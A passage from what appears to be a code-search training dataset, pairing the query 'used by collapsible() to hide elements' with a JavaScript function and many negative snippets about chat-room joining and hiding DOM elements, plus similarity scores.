window.location.href="https://huggingface.co/join/" + roomId;\\n });\\n}\",\n \"function connectToRoom() {\\n let roomId = $(\\\"#joinedRooms\\\").find('input[name=\\\"joined-room\\\"]:checked').val();\\n if(!checkElement(roomId)) return;\\n\\n startChatArea();\\n\\n $.post(\\\"/chatroom/connect\\\", {username: username, chatroomId: roomId}, function (data) {\\n chatroomId = roomId;\\n chatroomType = data.type;\\n chatroomName = data.name;\\n adminList = data.admins;\\n $(\\\"#chatRoomName\\\").html(data.name + \\\" (\\\" + data.type + \\\")\\\");\\n $(\\\"#chatRoomDescription\\\").html(data.description);\\n\\n loadUser();\\n\\n displayMessages(roomId);\\n getChatRoomUsers();\\n\\n //Clear unread notification\\n let unread = $(\\\"#joined-room\\\" + chatroomId + \\\" + span .badge-danger\\\");\\n unread.addClass(\\\"d-none\\\");\\n unread.html(0);\\n\\n $('#collapseTwo').removeClass('show');\\n $('#collapseOne').addClass('show');\\n $(\\\"#joinedRooms\\\").find('input[name=\\\"joined-room\\\"]:checked').prop(\\\"checked\\\", false);\\n }, \\\"json\\\");\\n}\",\n \"redirectToMeetings(ev) {\\n ev.preventDefault();//prevent form submittion(delete team)\\n loadMeetings(this.props.params.teamId,this.loadMeetings);\\n }\",\n \"function joinRoom() {\\n\\tif (state == null) {\\n\\t\\t// var campname = document.querySelector('#incoming').value;\\n\\t\\tvar campname = 'dgnby';\\n\\t\\t// TODO: check name is valid, alert() if not\\n\\t\\tdatabase.ref('hosts/' + campname + '/').update({\\n\\t\\t\\t// add client signal data to database\\n\\t\\t\\tjoinData: signalClient,\\n\\t\\t});\\n\\n\\t\\tvar hostData = firebase.database().ref('hosts/' + name + '/hostData');\\n\\t\\t// wait for host to respond to client signal data\\n\\t\\thostData.on('value', function(snapshot) {\\n\\t\\t\\tif(state == \\\"client\\\"){\\n\\t\\t\\t\\tsetTimeout(function(){ readAnswer(campname); }, 200);\\n\\t\\t\\t}\\n\\t\\t});\\n\\t\\tstate = \\\"client\\\";\\n\\t}\\n\\tdocument.getElementById('hostbox').style.animation='0.2s fadeOut forwards';\\n}\",\n \"function loadLobby(){\\n window.location.href = \\\"/lobby\\\";\\n}\",\n \"function connectToRoomNew(roomData) {\\n var data = roomData;\\n roomNo = roomData.roomID\\n\\n //Checking the database\\n getRoomData(roomNo).then(result => {\\n //If it is a new room\\n if(!result){\\n //Store the data in indexedDB\\n storeRoomData(data);\\n //Open socket and display chat\\n socket.emit('create or join', roomNo, data.accessedBy, data.imageSrc);\\n displayLoadedMessages([]);\\n hideLoginInterface(roomNo, data.accessedBy);\\n initCanvas(socket, data.imageSrc, \\\"\\\");\\n //Initialise annotation modal\\n annotationCanvasInit();\\n }\\n\\n //If room already exists\\n else{\\n //Open socket\\n socket.emit('create or join', result.roomID, result.accessedBy, result.imageSrc);\\n //Load data from indexedDB\\n displayLoadedMessages(result.messages);\\n //Display chat\\n hideLoginInterface(result.roomID, result.accessedBy);\\n initCanvas(socket, result.imageSrc, result.canvas);\\n //Initialise annotation modal\\n annotationCanvasInit();\\n }\\n });\\n\\n //Refresh annotations\\n refreshAnnotations(roomNo);\\n}\",\n \"onLeave(client, consented) {\\n\\t\\tthis.state.history.push(`${client.sessionId} left AreaRoom.`);\\n\\t}\",\n \"function reloadRoom(){\\n\\twindow.location.assign('https://www.c4cstream.com/?room='+tag_no); \\n}\",\n \"startCommunication(room) {\\n this.debug && console.log('Attempted to create or join room: ', room);\\n const joinApi = this.joinUrl + `/api/v1/im/join`;\\n fetch(joinApi, {\\n method: 'POST',\\n mode: 'cors',\\n headers: {\\n 'Content-Type': 'application/json; charset=UTF-8'\\n },\\n body: JSON.stringify({\\n roomId: room,\\n userId: this.userId\\n })\\n })\\n .then(async data => {\\n const { code } = await data.json(); // maybe:ok: false status: 504\\n if (code === 200) {\\n this.debug && console.log('call join room api successfully!', room);\\n this._handleCreateAndJoin(room);\\n this.socket.send(this.encodeMsg('create-join'));\\n }\\n })\\n .catch(error => {\\n console.error('[lsp join room api occurred]', error);\\n });\\n }\",\n \"function handleCreateRoomEnter(e){\\n if(e.key === \\\"Enter\\\"){\\n createRoomButton();\\n }\\n }\",\n \"function joinRoom() {\\n remoteStream = new MediaStream();\\n document.querySelector('#localVideo').srcObject = localStream;\\n document.querySelector('#remoteVideo').srcObject = remoteStream;\\n document.querySelector('#confirmJoinBtn').addEventListener('click', async() => {\\n roomId = document.querySelector('#room-id').value;\\n console.log('Join room: ', roomId);\\n document.querySelector(\\n '#currentRoom').innerText = `Room ID: ${roomId} `;\\n await joinRoomById(roomId);\\n }, { once: true });\\n roomDialog.open();\\n}\",\n \"function leaveRoom() {\\n\\tif (player != \\\"\\\") {\\n\\t\\troundEnded();\\n\\t\\tvar geturl = \\\"/sanaruudukko/rest/sr/process?func=leaveroom&player=\\\" + player + \\\"&passcode=\\\" + passcode;\\n\\t\\t$.ajax({\\n\\t\\t\\tcache: false,\\n\\t\\t\\tdataType : 'xml',\\n\\t\\t\\ttype : 'GET',\\n\\t\\t\\turl : geturl,\\n\\t\\t\\tsuccess : function(data) {\\n\\t\\t\\t\\tinitRoomList();\\n\\t\\t\\t},\\n\\t\\t});\\n\\t}\\n}\",\n \"function showRoomListPage() {\\n\\tleaveRoom();\\n\\tpage_1.style.display = \\\"block\\\";\\n\\tpage_2.style.display = \\\"none\\\";\\n\\twindow.history.replaceState('test', '', '?main=true');\\t\\n}\",\n \"createRoom() {\\n const room = this.currentUser.createRoom({\\n id: this.props.items.name,\\n name: this.props.items.name,\\n private: false,\\n }) .catch(err => {\\n console.log(\\\"nope\\\");\\n }); \\n }\",\n \"async adminJoinRoom(room) {\\n //Fetch the currently logged in user\\n let user = firebase.auth().currentUser\\n\\n //Retrieve an instance of our Firestore Database\\n const db = firebase.firestore()\\n\\n //Save the room in the database that the admin just joined\\n let adminUsersRef = await db.collection('admin-users').doc(user.uid)\\n let adminUsersSnapShot = await adminUsersRef.get()\\n\\n if (adminUsersSnapShot.exists) {\\n adminUsersRef.update({\\n \\\"admin_room_location\\\": room\\n })\\n .then(() => {\\n this.props.history.push('/chat')\\n })\\n this.context.triggerAdminJoinRoom(room)\\n } \\n }\",\n \"function partingFromRoom( room ) {\\n}\",\n \"function generatRoomLink() {\\n MicroModal.show(\\\"generateShareableRoomLinkModal\\\");\\n\\n // if (true) {\\n if (!shareableRoomLinkAlreadyGenerated()) {\\n $.ajax({\\n url: \\\"/api/game/generateroom\\\",\\n type: \\\"GET\\\",\\n beforeSend: function (xhr) {\\n // TODO: Send user IP ? for throttling purpose\\n },\\n data: {},\\n success: function (data) {\\n console.log(data);\\n localStorage.setItem(\\n appName + \\\"_GENERATED_ROOM_ID\\\",\\n JSON.stringify(data)\\n );\\n $(\\\"#shareableRoomLink\\\").text(\\n window.location.host + \\\"/?\\\" + GAMEURLPARAMS + \\\"=\\\" + data.gameKey\\n );\\n },\\n error: function (err) {\\n console.log(err);\\n },\\n });\\n } else {\\n $(\\\"#shareableRoomLink\\\").text(\\n window.location.host +\\n \\\"/?\\\" +\\n GAMEURLPARAMS +\\n \\\"=\\\" +\\n JSON.parse(localStorage.getItem(appName + \\\"_GENERATED_ROOM_ID\\\")).gameKey\\n );\\n }\\n}\",\n \"function oneOnone() {\\n return (\\n
    \\n \\n \\n \\n \\n \\n
    \\n );\\n}\",\n \"function requestJoin(type) {\\n let roomId;\\n if (type === \\\"public\\\") {\\n roomId = $('input[name=\\\"all-public-room\\\"]:checked').val();\\n } else {\\n roomId = $('input[name=\\\"all-private-room\\\"]:checked').val();\\n }\\n\\n if (requestRoomsList.indexOf(parseInt(roomId)) < 0) {\\n requestRoomsList.push(parseInt(roomId));\\n $.post(\\\"/chatroom/requestJoin\\\", {username: username, chatroomId: roomId}, function (data) {\\n if (data === \\\"failure\\\") {\\n $(\\\"#all-room\\\" + roomId).parent().parent().removeClass(\\\"list-group-item-success\\\");\\n $(\\\"#all-room\\\" + roomId).parent().parent().addClass(\\\"list-group-item-danger\\\");\\n }\\n if (type === \\\"public\\\") {\\n joinAndConnectRoom(roomId);\\n getChatRoomUsers();\\n getJoinedRooms();\\n } else {\\n requestRoomId = roomId;\\n isWaitingAccept = true;\\n }\\n }\\n , \\\"json\\\");\\n }\\n}\",\n \"function AlumnoCrear() {\\n window.location = `./AlumnoCrear.html?usu_id=${params.get('usu_id')}`;\\n}\",\n \"function getRoomURL() {\\n\\treturn location.protocol + \\\"//\\\" + location.host + (location.pathname || \\\"\\\") + \\\"?room=\\\" + getRoom();\\n}\",\n \"function joinDemo()\\n{\\n\\tuserName = document.getElementById(\\\"txtUserName\\\").value;\\n\\tvLocation = document.getElementById(\\\"DDLocation\\\").value;\\n\\tvSubscribe = document.getElementById(\\\"DDChat\\\").value;\\n\\tif(userName == \\\"\\\" || userName == \\\"null\\\" || userName == null || userName == \\\"undefined\\\" || userName == undefined)\\n\\t{\\n\\t\\talert(\\\"Please Enter Username.\\\")\\n\\t\\treturn;\\n\\t}\\n\\twindow.location.href = \\\"/home.html\\\";\\n}\",\n \"function addUnit(class_room_id) {\\n\\n\\t\\twindow.location.href = web+\\\"classroom-unit/create\\\" + \\\"?class_room_id=\\\" + class_room_id + \\\"\\\";\\n\\n }\",\n \"function createRoom(){\\n roomToken = random()\\n roomsRegistry[roomLabel].notFull[roomToken] = {clients:[],limit:roomLimit}\\n roomsRegistry[roomLabel].notFull[roomToken].clients.push(clientId)\\n }\",\n \"function setRoom(name) {\\n\\t$('#joinRoom').remove();\\n\\t$('h1').text('Room name : ' + name);\\n\\t$('body').append('');\\n\\t$('body').addClass('active');\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7536238","0.7142537","0.69698006","0.6648515","0.66118354","0.6590052","0.6523262","0.6497811","0.6487846","0.64606035","0.64541465","0.6422784","0.64120525","0.6398517","0.6353128","0.63165313","0.6307308","0.6282584","0.62794757","0.6279065","0.6278614","0.6270213","0.62675977","0.6231085","0.62234706","0.62189525","0.6204589","0.61960244","0.6188422","0.6168727","0.616249","0.61623615","0.6137989","0.61029524","0.6079226","0.6076468","0.605391","0.6038186","0.6035048","0.6033718","0.6026491","0.6017686","0.60140616","0.6001554","0.5997513","0.59725136","0.5946879","0.594426","0.5938398","0.5920583","0.59199315","0.5910556","0.59079903","0.59034896","0.5898235","0.5896199","0.58884984","0.58780384","0.5870305","0.58653665","0.5864065","0.58530974","0.5839909","0.58370584","0.5830843","0.58117104","0.5810467","0.5793948","0.5781513","0.57730097","0.57648164","0.5746945","0.5738096","0.5731701","0.57200056","0.571905","0.57117164","0.57088935","0.570082","0.56966776","0.566946","0.56525093","0.56455785","0.5643858","0.5638147","0.56369054","0.56265193","0.562536","0.5623882","0.56192","0.5617838","0.56053215","0.5603824","0.5603807","0.5592171","0.55889916","0.55787575","0.55783176","0.5568709","0.55669"],"string":"[\n \"0.7536238\",\n \"0.7142537\",\n \"0.69698006\",\n \"0.6648515\",\n \"0.66118354\",\n \"0.6590052\",\n \"0.6523262\",\n \"0.6497811\",\n \"0.6487846\",\n \"0.64606035\",\n \"0.64541465\",\n \"0.6422784\",\n \"0.64120525\",\n \"0.6398517\",\n \"0.6353128\",\n \"0.63165313\",\n \"0.6307308\",\n \"0.6282584\",\n \"0.62794757\",\n \"0.6279065\",\n \"0.6278614\",\n \"0.6270213\",\n \"0.62675977\",\n \"0.6231085\",\n \"0.62234706\",\n \"0.62189525\",\n \"0.6204589\",\n \"0.61960244\",\n \"0.6188422\",\n \"0.6168727\",\n \"0.616249\",\n \"0.61623615\",\n \"0.6137989\",\n \"0.61029524\",\n \"0.6079226\",\n \"0.6076468\",\n \"0.605391\",\n \"0.6038186\",\n \"0.6035048\",\n \"0.6033718\",\n \"0.6026491\",\n \"0.6017686\",\n \"0.60140616\",\n \"0.6001554\",\n \"0.5997513\",\n \"0.59725136\",\n \"0.5946879\",\n \"0.594426\",\n \"0.5938398\",\n \"0.5920583\",\n \"0.59199315\",\n \"0.5910556\",\n \"0.59079903\",\n \"0.59034896\",\n \"0.5898235\",\n \"0.5896199\",\n \"0.58884984\",\n \"0.58780384\",\n \"0.5870305\",\n \"0.58653665\",\n \"0.5864065\",\n \"0.58530974\",\n \"0.5839909\",\n \"0.58370584\",\n \"0.5830843\",\n \"0.58117104\",\n \"0.5810467\",\n \"0.5793948\",\n \"0.5781513\",\n \"0.57730097\",\n \"0.57648164\",\n \"0.5746945\",\n \"0.5738096\",\n \"0.5731701\",\n \"0.57200056\",\n \"0.571905\",\n \"0.57117164\",\n \"0.57088935\",\n \"0.570082\",\n \"0.56966776\",\n \"0.566946\",\n \"0.56525093\",\n \"0.56455785\",\n \"0.5643858\",\n \"0.5638147\",\n \"0.56369054\",\n \"0.56265193\",\n \"0.562536\",\n \"0.5623882\",\n \"0.56192\",\n \"0.5617838\",\n \"0.56053215\",\n \"0.5603824\",\n \"0.5603807\",\n \"0.5592171\",\n \"0.55889916\",\n \"0.55787575\",\n \"0.55783176\",\n \"0.5568709\",\n \"0.55669\"\n]"},"document_score":{"kind":"string","value":"0.6787807"},"document_rank":{"kind":"string","value":"3"}}},{"rowIdx":41,"cells":{"query":{"kind":"string","value":"used by collapsible() to hide elements"},"document":{"kind":"string","value":"function hideElements() {\n let elementsToHide = document.querySelectorAll(\".elementToHide\");\n \n elementsToHide.forEach((item) => {\n item.classList.toggle(\"hide-element\");\n })\n // console.log(elementsToHide);\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["hide() {}","function hideElements() {\n $(\"#collapse_icon\").html(\"show\");\n $(\".sidebar_elements\").addClass(\"hidden\").fadeTo(600, 0).css('dispaly', 'flex');\n $(\"#cross\").removeClass(\"hidden\").fadeTo(600, 1).css('dispaly', 'flex');\n}","function hide() {\n $.forEach(this.elements, function(element) {\n element.style.display = 'none';\n });\n\n return this;\n }","_hide() {\n this.panelElem.addClass(\"hidden\");\n }","hide ()\n\t{\n\t\t//hide the elements of the view\n\t\tthis.root.style.display= 'none';\n\t}","function xHide(e){return xVisibility(e,0);}","_hideAll() {\n this.views.directorySelection.hide();\n this.views.training.hide();\n this.views.messages.hide();\n this.views.directorySelection.css('visibility', 'hidden');\n this.views.training.css('visibility', 'hidden');\n this.views.messages.css('visibility', 'hidden');\n }","hide() {\n this.isVisible = false;\n }","function hideElements(){\n\t$(\".trivia\").toggle();\n\t$(\".navbar\").toggle();\n\t$(\".end\").toggle();\n}","function hideAll(){\n $$('.contenido').each(function(item){\n item.hide();\n })\n}","hide() {\n\t\tthis.style.display = \"none\";\n\t}","function hideElements() {\n const elementsArr = [\n $submitForm,\n $allStoriesList,\n $filteredArticles,\n $ownStories,\n $loginForm,\n $createAccountForm\n ];\n elementsArr.forEach(val => val.hide());\n }","onHide() {}","onHide() {}","function hide() {\n that.isSelected = false;\n // change class to default\n that.row.className = 'maqaw-visitor-list-entry';\n that.row.style.display = 'none';\n // tell the VisitorList that we are going to hide this visitor so that it can deselect\n // it if necessary\n that.visitorList.hideVisitor(that);\n // clear chat window\n that.visitorList.chatManager.clear(that);\n }","function hideElements() {\n const elementsArr = [\n $submitForm,\n $allStoriesList,\n $filteredArticles,\n $ownStories,\n $loginForm,\n $createAccountForm,\n $sectionUserProfile\n ];\n elementsArr.forEach($elem => $elem.hide());\n }","hide (element){\n element.style.display = \"none\";\n }","function hideElements() {\n const elementsArr = [\n $submitForm,\n $allStoriesList,\n $filteredArticles,\n $ownStories,\n $loginForm,\n $createAccountForm\n ];\n elementsArr.forEach($elem => $elem.hide());\n }","function hideElements() {\n const elementsArr = [\n $submitForm,\n $allStoriesList,\n $filteredArticles,\n $ownStories,\n $loginForm,\n $createAccountForm\n ];\n elementsArr.forEach($elem => $elem.hide());\n }","function collapseContainers( containers ){\n containers.classed(\"hidden\", true);\n }","hide(){\r\n this.containerElement.style.display=\"none\";\r\n }","function hideElements() {\n const elementsArr = [\n $submitForm,\n $allStoriesList,\n $filteredArticles,\n $ownStories,\n $loginForm,\n $createAccountForm,\n $favoritedArticles\n ];\n elementsArr.forEach($elem => $elem.hide());\n }","function hideItems(){\n $(\".bap-objective\").each(function(){\n $(this).css({'display' : 'none'});\n });\n \n $(\".bap-actions\").each(function(){\n $(this).css({'display' : 'none'});\n });\n \n return false;\n}","hideContent() {\n this.content.attr('hidden', 'hidden');\n }","hide() {\n ELEM.setStyle(this.elemId, 'visibility', 'hidden', true);\n this.isHidden = true;\n return this;\n }","hide () {\n this.showing = false\n this.element ? this.element.update(this) : null\n }","function unhide(x){\n\t\tdocument.getElementById(x).style.display=\"inline-block\";\n\t}","hide({ state }) {\n state.visable = false;\n }","function hideElements() {\n const elementsArr = [\n $submitForm,\n $allStoriesList,\n $filteredArticles,\n $ownStories,\n $loginForm,\n $createAccountForm,\n // **** added favorite article, submit story, user profile hide\n $submitStoryForm,\n $favoriteArticles,\n $userProfile,\n // ****\n ];\n elementsArr.forEach(($elem) => $elem.hide());\n }","function hideAllContent() {\n $(\"#overview\").hide();\n $(\"#tips\").hide();\n $(\"#sample1\").hide();\n $(\"#sample2\").hide();\n $(\"#sample3\").hide();\n }","setVisible() {\n element.removeClass('hidden');\n }","setVisible() {\n element.removeClass('hidden');\n }","function hideElement(e) {\n e.style.display = \"none\";\n }","function hide(el) {\n\t\tel.style.display = 'none';\n\t}","function hide_all() {\n $('#punctual-table-wrapper').collapse(\"hide\")\n $(\"#meta-info\").hide()\n $(\"#progress_bar\").hide()\n $(\"#arrived-late\").hide()\n $(\"#punctual\").hide()\n $(\"#left-early\").hide()\n $(\"#punctual-day-chart\").hide()\n $(\"#breakdown p\").hide()\n}","hide(){\n const listElements = this.el.childNodes;\n for(let i = 0; i < listElements.length; i++){\n listElements[i].removeEventListener('click',this.onItemClickedEvent);\n }\n this.el.innerHTML = '';\n }","function unhide(el) {\n $(el).removeClass(\"hidden\");\n }","unhide() {\n document.getElementById(\"guiArea\").classList.remove(\"hideMe\");\n document.getElementById(\"guiAreaToggle\").classList.remove(\"hideMe\");\n }","_hide() {\n $.setDataset(this._target, { uiAnimating: 'out' });\n\n $.fadeOut(this._target, {\n duration: this._options.duration,\n }).then((_) => {\n $.removeClass(this._target, 'active');\n $.removeClass(this._node, 'active');\n $.removeDataset(this._target, 'uiAnimating');\n $.setAttribute(this._node, { 'aria-selected': false });\n $.triggerEvent(this._node, 'hidden.ui.tab');\n }).catch((_) => {\n if ($.getDataset(this._target, 'uiAnimating') === 'out') {\n $.removeDataset(this._target, 'uiAnimating');\n }\n });\n }","function showElements() {\n $(\"#collapse_icon\").html(\"hide\");\n $(\".sidebar_elements\").removeClass(\"hidden\").fadeTo(600, 1);\n $(\".range_options\").css('display', 'flex');\n $(\"#cross\").addClass(\"hidden\").fadeTo(600, 0);\n}","function hide() {\n\t\tdashboardContent.empty();\n\n\t}","hide() {\n\t\tthis.panelEl.classList.remove(classes.panel.open);\n\t\tthis.panelEl.classList.add(classes.panel.closed);\n\t}","hide() {\n if (this[$visible]) {\n this[$visible] = false;\n this[$updateVisibility]({ notify: true });\n }\n }","onHide() {\n\t}","function hide(event) { event.target.style.visibility = \"hidden\"; }","function hide(el){\r\n el = getList(el);\r\n\r\n for(var i = 0; i $elem.addClass(\"hidden\"));\n }","hide_() {\n this.adapter_.setAttr(strings.ARIA_HIDDEN, 'true');\n }","function hideStartingInfo() {\r\n // Hides savings/checking info and transaction info.\r\n hideToggle(checking_info); \r\n hideToggle(savings_info); \r\n hideToggle(transactions); \r\n}","function hide(el){\n el = getList(el);\n\n for(var i = 0; iShow \" + legendText + \"\");\r\n showHide.wrap(\"
    \");\r\n showHide.before(show);\r\n showHide.hide();\r\n function showFunc(event)\r\n {\r\n target = jQ(event.target);\r\n target.hide();\r\n target.next().show();\r\n }\r\n function hideFunc(event)\r\n {\r\n target = jQ(event.target).parent();\r\n target.hide();\r\n target.prev().show();\r\n }\r\n show.click(showFunc);\r\n legend.click(hideFunc);\r\n }\r\n showHides = jQ(\"div.showHideToggle\");\r\n showHides.each(function() {\r\n var showHideDiv = jQ(this);\r\n var toggleText = showHideDiv.find(\"input[@name='toggleText']\").val();\r\n var contentDiv = showHideDiv.find(\">div\");\r\n var cmd = showHideDiv.find(\">span.command\");\r\n cmd.click(function(){ contentDiv.toggleClass(\"hidden\"); var t=cmd.html(); cmd.html(toggleText); toggleText=t; });\r\n });\r\n}","hide() {\n for (var dependent of this.get_dependents()) {\n try { dependent.hide(); }\n catch (e) {}\n }\n }","function collapseHide() {\n $( \".slide-collapse\" ).click(function() {\n collapse($(this));\n });\n}","function hideSelectorContainers(){\n\thideTypeSelector();\n\thidePlayerSelector();\n\thideYearSelector();\n\thideWeekSelector();\n\thideStatNameSelector();\n\thideTeamSelector();\n}","static hide(v) {\n // Set style to none\n UI.find(v).setAttribute(\"hidden\", \"true\");\n }","showContent() {\n this.content.removeAttr('hidden');\n }","function hideTreeExpandCollapseButtons(hide) {\n\tif(hide) {\n\t\t$('#tree-expand').hide();\n\t\t$('#tree-collapse').hide();\n\t\t$('#save-as-profile-btn').hide();\n\t}\n\telse {\n\t\t$('#tree-expand').show();\n\t\t$('#tree-collapse').show();\n\t\t$('#save-as-profile-btn').show();\n\t}\n\t\n}","function invisible(item) {\n item.css(\"visibility\", \"hidden\");\n }","function hideSlides(){\n $('.caps').hide()\n $('.headers').hide();\n}","static hide(obj) {\n obj.setAttribute('visibility', 'hidden');\n }","function hideElement () {\n if(this instanceof HTMLCollection || this instanceof NodeList) {\n for(var i = 0; i < this.length; i++) {\n this[i].style.display = 'none';\n }\n }\n else if(this instanceof HTMLElement) {\n this.style.display = 'none';\n }\n\n return this;\n }","function hideElement() {\n header.setAttribute(\"style\", \"visibility: hidden\");\n text.setAttribute(\"style\", \"visibility: hidden\");\n startBtn.setAttribute(\"style\", \"visibility: hidden\");\n}","hide() {\n if (\n $.getDataset(this._target, 'uiAnimating') ||\n !$.hasClass(this._target, 'active') ||\n !$.triggerOne(this._node, 'hide.ui.tab')\n ) {\n return;\n }\n\n this._hide();\n }","function hideAll() {\n\t\t// Hide counter\n\t\t$('.counter').animate({\n\t\t\ttop: \"-18em\"\n\t\t}, 600, \"swing\", function() {\n\t\t});\n\t\t\n\t\t// Hide highlight\n\t\t$('.highlight, .glow').addClass('highlight-hide');\n\t\tsetTimeout(function() {\n\t\t\t// Slide away main content\n\t\t\t$('.main').animate({\n\t\t\t\tmarginTop: \"150vh\"\n\t\t\t}, 1200, \"swing\", function() {\n\t\t\t\tlocation.reload();\n\t\t\t});\n\t\t}, 400);\n\t\t\n\t\t// Hide nav button and menu\n\t\t$('.collapse').collapse('hide');\n\t\t$('.navbar-toggle').animate({\n\t\t\tbottom: \"-100vh\"\n\t\t}, 800, \"swing\", function() {\n\t\t});\n\t}","_hideItems () {\n const firstFour = this.listItems.filter(notHidden => !notHidden.classList.contains(\"responsive-hidden\") && notHidden.querySelector(SELECTORS.SUB) === null && this._el.querySelector(\"UL\") === notHidden.parentElement);\n\n if (this.submenus.length > 0) {\n this.submenus.forEach(levelTwo => {\n levelTwo.parentElement.classList.add(\"responsive-hidden\");\n });\n\n if (firstFour.length > 4) {\n firstFour.slice(4).forEach(item => {\n item.parentElement.classList.add(\"responsive-hidden\");\n });\n }\n } else {\n this.listItems.slice(4).forEach(items => {\n items.classList.add(\"responsive-hidden\");\n });\n }\n }","function hideElements() {\n document.getElementById(\"pt1\").hidden = true;\n document.getElementById(\"pt2\").hidden = true;\n document.getElementById(\"intercept\").hidden = true;\n document.getElementById(\"slopeLabel\").hidden = true;\n document.getElementById(\"yIntLabel\").hidden = true;\n document.getElementById(\"pt1Label\").hidden = true;\n document.getElementById(\"pt2Label\").hidden = true;\n document.getElementById(\"riseRun1\").hidden = true;\n document.getElementById(\"riseRun2\").hidden = true;\n}","function hide() {\n $( \"#target\" ).hide();}","function hideSelectedHideables(hideables){\n for (let hideMe of hideables){\n if(document.getElementById(hideMe)){\n document.getElementById(hideMe).classList.add(\"displayNone\");\n }\n }\n }","hide() {\n if (this.div) {\n // The visibility property must be a string enclosed in quotes.\n this.div.style.visibility = \"hidden\";\n }\n }","function hide(el) {\n el = getList(el);\n\n for (var i = 0; i < el.length; i++) {\n el[i].style.display = 'none';\n }\n\n return el;\n }","hide() {\n this.visible = false;\n this.closed.emit();\n }","function hideItems() {\r\n piecesSlider.hidePieces({items: [currentImageIndex, currentTextIndex, currentNumberIndex]});\r\n }","function unHideComponents(){\r\n tank.style.visibility = \"visible\";\r\n missile.style.visibility = \"visible\";\r\n score.style.visibility = \"visible\";\r\n}","hide() {\n checkPresent(this.containerDiv, 'not present when hiding');\n // The visibility property must be a string enclosed in quotes.\n this.containerDiv.style.visibility = 'hidden';\n }","hide() {\n\t\tthis.isVisible = false;\n this.element.classList.remove('hide')\n\t\tthis.element.classList.remove('showCarousel')\n\t\tthis.element.classList.add('hideCarousel')\n\t\tthis.buttons.style.paddingTop = \"72px\"\n\t\t\n\t}"],"string":"[\n \"hide() {}\",\n \"function hideElements() {\\n $(\\\"#collapse_icon\\\").html(\\\"show\\\");\\n $(\\\".sidebar_elements\\\").addClass(\\\"hidden\\\").fadeTo(600, 0).css('dispaly', 'flex');\\n $(\\\"#cross\\\").removeClass(\\\"hidden\\\").fadeTo(600, 1).css('dispaly', 'flex');\\n}\",\n \"function hide() {\\n $.forEach(this.elements, function(element) {\\n element.style.display = 'none';\\n });\\n\\n return this;\\n }\",\n \"_hide() {\\n this.panelElem.addClass(\\\"hidden\\\");\\n }\",\n \"hide ()\\n\\t{\\n\\t\\t//hide the elements of the view\\n\\t\\tthis.root.style.display= 'none';\\n\\t}\",\n \"function xHide(e){return xVisibility(e,0);}\",\n \"_hideAll() {\\n this.views.directorySelection.hide();\\n this.views.training.hide();\\n this.views.messages.hide();\\n this.views.directorySelection.css('visibility', 'hidden');\\n this.views.training.css('visibility', 'hidden');\\n this.views.messages.css('visibility', 'hidden');\\n }\",\n \"hide() {\\n this.isVisible = false;\\n }\",\n \"function hideElements(){\\n\\t$(\\\".trivia\\\").toggle();\\n\\t$(\\\".navbar\\\").toggle();\\n\\t$(\\\".end\\\").toggle();\\n}\",\n \"function hideAll(){\\n $$('.contenido').each(function(item){\\n item.hide();\\n })\\n}\",\n \"hide() {\\n\\t\\tthis.style.display = \\\"none\\\";\\n\\t}\",\n \"function hideElements() {\\n const elementsArr = [\\n $submitForm,\\n $allStoriesList,\\n $filteredArticles,\\n $ownStories,\\n $loginForm,\\n $createAccountForm\\n ];\\n elementsArr.forEach(val => val.hide());\\n }\",\n \"onHide() {}\",\n \"onHide() {}\",\n \"function hide() {\\n that.isSelected = false;\\n // change class to default\\n that.row.className = 'maqaw-visitor-list-entry';\\n that.row.style.display = 'none';\\n // tell the VisitorList that we are going to hide this visitor so that it can deselect\\n // it if necessary\\n that.visitorList.hideVisitor(that);\\n // clear chat window\\n that.visitorList.chatManager.clear(that);\\n }\",\n \"function hideElements() {\\n const elementsArr = [\\n $submitForm,\\n $allStoriesList,\\n $filteredArticles,\\n $ownStories,\\n $loginForm,\\n $createAccountForm,\\n $sectionUserProfile\\n ];\\n elementsArr.forEach($elem => $elem.hide());\\n }\",\n \"hide (element){\\n element.style.display = \\\"none\\\";\\n }\",\n \"function hideElements() {\\n const elementsArr = [\\n $submitForm,\\n $allStoriesList,\\n $filteredArticles,\\n $ownStories,\\n $loginForm,\\n $createAccountForm\\n ];\\n elementsArr.forEach($elem => $elem.hide());\\n }\",\n \"function hideElements() {\\n const elementsArr = [\\n $submitForm,\\n $allStoriesList,\\n $filteredArticles,\\n $ownStories,\\n $loginForm,\\n $createAccountForm\\n ];\\n elementsArr.forEach($elem => $elem.hide());\\n }\",\n \"function collapseContainers( containers ){\\n containers.classed(\\\"hidden\\\", true);\\n }\",\n \"hide(){\\r\\n this.containerElement.style.display=\\\"none\\\";\\r\\n }\",\n \"function hideElements() {\\n const elementsArr = [\\n $submitForm,\\n $allStoriesList,\\n $filteredArticles,\\n $ownStories,\\n $loginForm,\\n $createAccountForm,\\n $favoritedArticles\\n ];\\n elementsArr.forEach($elem => $elem.hide());\\n }\",\n \"function hideItems(){\\n $(\\\".bap-objective\\\").each(function(){\\n $(this).css({'display' : 'none'});\\n });\\n \\n $(\\\".bap-actions\\\").each(function(){\\n $(this).css({'display' : 'none'});\\n });\\n \\n return false;\\n}\",\n \"hideContent() {\\n this.content.attr('hidden', 'hidden');\\n }\",\n \"hide() {\\n ELEM.setStyle(this.elemId, 'visibility', 'hidden', true);\\n this.isHidden = true;\\n return this;\\n }\",\n \"hide () {\\n this.showing = false\\n this.element ? this.element.update(this) : null\\n }\",\n \"function unhide(x){\\n\\t\\tdocument.getElementById(x).style.display=\\\"inline-block\\\";\\n\\t}\",\n \"hide({ state }) {\\n state.visable = false;\\n }\",\n \"function hideElements() {\\n const elementsArr = [\\n $submitForm,\\n $allStoriesList,\\n $filteredArticles,\\n $ownStories,\\n $loginForm,\\n $createAccountForm,\\n // **** added favorite article, submit story, user profile hide\\n $submitStoryForm,\\n $favoriteArticles,\\n $userProfile,\\n // ****\\n ];\\n elementsArr.forEach(($elem) => $elem.hide());\\n }\",\n \"function hideAllContent() {\\n $(\\\"#overview\\\").hide();\\n $(\\\"#tips\\\").hide();\\n $(\\\"#sample1\\\").hide();\\n $(\\\"#sample2\\\").hide();\\n $(\\\"#sample3\\\").hide();\\n }\",\n \"setVisible() {\\n element.removeClass('hidden');\\n }\",\n \"setVisible() {\\n element.removeClass('hidden');\\n }\",\n \"function hideElement(e) {\\n e.style.display = \\\"none\\\";\\n }\",\n \"function hide(el) {\\n\\t\\tel.style.display = 